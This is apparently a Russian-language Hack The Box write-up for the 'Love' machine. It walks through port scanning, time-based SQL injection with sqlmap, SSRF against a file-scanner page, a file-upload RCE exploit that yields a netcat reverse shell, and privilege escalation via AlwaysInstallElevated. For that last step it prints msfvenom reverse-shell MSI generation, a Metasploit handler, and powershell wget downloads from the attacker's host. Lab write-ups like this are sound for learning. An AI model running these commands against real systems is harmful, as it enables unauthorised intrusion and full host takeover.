Hacking

Компрометация хоста и повышение привилегии

В данной статье мы рассмотрим подделку серверных запросов (SSRF) применяемую для компрометации хоста. Так же мы сделаем попытку изучить опцию AlwaysInstallElevated применяемую для повыше­ния при­виле­гий.Для этого нам понадобится машина низ­кого уров­ня слож­ности под наз­вани­ем Love с пло­щад­ки Hack The Box

Рекомендуется подключаться к машинам с HTB только через VPN. Не делайте этого с компьютеров, на которых у вас есть важные данные, так как вы окажетесь в общей сети с другими участниками.

РАЗВЕДКА. СКАНИРОВАНИЕ ПОРТОВ

Ад­рес машины — 10.10.10.239, добав­ляем его в /etc/hosts.

10.10.10.239 love.htb

И ска­ниру­ем пор­ты.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1
Итоги работы скрипта

Ви­дим мно­жес­тво откры­тых пор­тов и работа­ющих на них служб:

  • пор­ты 80, 5000 — веб‑сер­вер Apache 2.4.46;
  • порт 135 — служ­ба уда­лен­ного вызова про­цедур (Microsoft RPC);
  • порт 139 — служ­ба имен NetBIOS;
  • порт 443 — веб‑сер­вер Apache 2.4.46 + OpenSSL 1.1.1j;
  • порт 445 — служ­ба SMB;
  • порт 3306 — СУБД MySQL;
  • порт 5040 — неиз­вес­тно;
  • пор­ты 5985, 5986 — служ­ба уда­лен­ного управле­ния Windows (WinRM).

Прежде всего, давайте проверим, что нам может дать SMB (команда smbmap -H love.htb), но для анонимов ничего не доступно. Поэтому перейдем к Сети. При сканировании порта 443 мы получили информацию из сертификата, из которого мы узнаем о другом сайте: staging.love.htb. Мы также добавляем этот домен в / etc / hosts.

10.10.10.239 staging.htb

Теперь давайте внимательно посмотрим на оба сайта, чтобы найти точки входа, имена пользователей и другую важную информацию. Сайт love.htb приветствует нас формой авторизации, но мы знаем об используемой технологии — Voting System.

Форма авторизации love.htb

ТОЧКА ВХОДА

Voting System — это простая система голосования, написанная на PHP. Для этого обязательно должны быть готовые эксплойты. Запускаем searchsploit из Kali Linux и находим сразу несколько.

Поиск эксплоитов с помощью searchsploit

Нас инте­ресу­ют четыре пос­ледних экс­пло­ита:

  1. Пер­вый экс­плу­ати­рует SQL-инъ­екцию для обхо­да авто­риза­ции.
  2. Вто­рой даст уда­лен­ное выпол­нение кода через заг­рузку фай­лов, одна­ко мы дол­жны быть авто­ризо­ваны в сис­теме.
  3. Пред­послед­ний экс­пло­ит даст уда­лен­ное выпол­нение кода без авто­риза­ции.
  4. Пос­ледний — Time based SQL-инъ­екция, тоже без авто­риза­ции.

Для начала попробуем эксплойты, не требующие авторизации. Самый опасный — это RCE. Как указано в описании, мы можем загрузить файл через /admin/candidates_add.php без авторизации и получить доступ к файлу в каталоге изображений, но этот эксплойт не сработал.

Запрос загрузки файла

Запрос к загруженному файлу

Опция обходной аутентификации тоже не работает, но опция с Time Based SQL-инъ­екци­ей оказалась рабочей. Мы сохраняем запрос во время авторизации в файл (в моем случае req.r) и передаем его sqlmap, как указано в описании эксплойта.

Запрос при авторизации

sqlmap --dbms=mysql --batch --level=1 --risk=3 -r req.r -p voter

Вывод sqlmap

Да­лее потихонь­ку вытас­кива­ем таб­лицы при поддержке того же sqlmap:

sqlmap --level=1 --risk=3 -r req.r --tables

Но поскольку это Time Based SQLi, это займет много времени, поэтому пока sqlmap работает, мы можем протестировать другой сайт. На странице Demo по адресу http: //staging.love.htb есть служба анализа файлов.

Форма анализа файлов

С целью про­вер­ки сер­виса откро­ем лис­тенер и ука­жем в фор­ме принадлежащий нам IP. И сра­зу примем отклик.

Отклик на локальный сервер

С такими сервисами стоит проверить уязвимость SSRF. SSRF — это атака на сервер, которая позволяет злоумышленнику отправлять запросы от имени взломанного хоста. SSRF можно использовать в DoS-кампаниях, чтобы скрыть истинный источник атаки. Таким образом, уязвимый хост выступает в роли прокси-сервера. Для теста SSRF вводим адрес 127.0.0.1 и получаем известную форму авторизации.

Тестирование сервиса на наличие SSRF

Так. Ну что ж SSRF присутствует. Только как она сможет нам помочь? Например, мы можем сканировать доступные порты для локального хоста, а также просматривать службы, работающие через HTTP. Во время сканирования порта мы получили ответ Forbidden от службы, отвечающей за порт 5000. Давайте еще раз посмотрим, используя наш «прокси».

Сервис на порте 5000

В итоге у нас появился сервис, в котором мы можем шпионить за паролем администратора, а затем войти в систему по адресу http: //love.htb/admin/.

Панель администратора Voting System

ТОЧКА ОПОРЫ

Поскольку у нас есть учетные данные, нам нужно проверить последний эксплойт, который позволяет удаленное выполнение кода через загрузку файла. Но прежде чем мы начнем, давайте взглянем на исходный код эксплойта.

Исходный код эксплоита

Эксплойт принуждён активизировать соединение с указанным (локальным IP) адресом и портом. Но сначала вам нужно создать лис­тенер, который будет принимать это соединение. В таких случаях я использую rlwrap — удобную оболочку с историей команд. В качестве лис­тенера возьмем хорошо известный netcat.

apt install rlwrap

rlwrap nc -lvp [port]

Потом нам следует ввести адрес и порт листенера в строках 15 и 16 кода, адрес атакованного хоста в строке 12 и имя пользователя и пароль в строках 13 и 14. Найдите URL-адрес в строках 19–22. В нашем случае на сайте нет каталога votesystem, поэтому его тоже нужно удалить в коде. Ниже приведен модифицированный код эксплойта.

Измененный код эксплоита

И пос­ле выпол­нения получа­ем бэк­коннект.

Выполнение эксплоита

Флаг пользователя

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Теперь же, когда у нас есть доступ к хосту, нам необходимо собрать данные. Существует множество источников информации, и в этих случаях полезны сценарии PEASS, которые проверяют их все автоматически. Загрузим скрипт для Windows на localhost.

wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/winPEAS/winPEASexe/binaries/x64/Release/winPEASx64.exe -O wpeas.exe

Сейчас нам нужно загрузить его на удаленный хост. В каталоге со сценарием на локальном компьютере запустим простой веб-сервер с использованием python. После выполнения этой команды веб-сервер будет прослушивать порт 8000.

python3 -m http.server

А теперь, используя тот же PowerShell wget на целевой машине, загрузите скрипт с локального на удаленный хост. После загрузки нужно запустить скрипт.

powershell wget http://[ip_локального_хоста]:8000/wpeas.exe -O C:\Windows\Temp\wpeas.exe

C:\Windows\Temp\wpeas.exe

В выводе WinPEAS вы можете обратить внимание на параметр UAC, историю команд PowerShell и, что наиболее важно, параметр AlwaysInstallElevated.

UAC Status

PowerShell Settings

Checking AlwaysInstallElevated

Этот параметр указывает, что каждый файл MSI должен быть установлен с повышенными привилегиями (NT AUTHORITY \ SYSTEM). Следовательно, после создания и загрузки такого файла вы можете выполнять действия от имени системы даже для непривилегированного пользователя.

Создадим MSI-файл с реверс‑шел­лом. В этом нам может помочь фреймворк Metasploit, а именно модуль msfvenom.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=[IP] LPORT=[PORT] -f msi -o r.msi

Генерирование нагрузки

Сейчас запустим многофункциональный листенер в Metasploit. За это отвечает модуль обработчика, которому необходимо знать тип нагрузки, а также локальный адрес и порт, на котором вам нужно принять соединение.

handler -p windows/x64/shell_reverse_tcp -H 10.10.14.38 -P 4321

Создание листенера

Загружаем файл .msi так же, как WinPEAS, а затем запускаем его. Через несколько секунд мы получаем новую сессию Metasploit.

powershell wget http://[ip_локального_хоста]:8000/r.msi -O C:\Windows\Temp\r.msi
msiexec /quiet /qn /i C:\Windows\Temp\r.msi
Флаг рута

Итог

Итак мы добились того чего хотеди. Мы зах­ватили машину а также име­ем над ней пол­ный кон­троль.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Click to rate this post!
[Total: 0 Average: 0]
faza

Recent Posts

Лучший адаптер беспроводной сети для взлома Wi-Fi

Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…

5 месяцев ago

Как пользоваться инструментом FFmpeg

Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…

5 месяцев ago

Как создать собственный VPN-сервис

Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…

5 месяцев ago

ChatGPT против HIX Chat: какой чат-бот с искусственным интеллектом лучше?

С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…

5 месяцев ago

Разведка по Wi-Fi и GPS с помощью Sparrow-wifi

Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…

5 месяцев ago

Как обнаружить угрозы в памяти

Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…

6 месяцев ago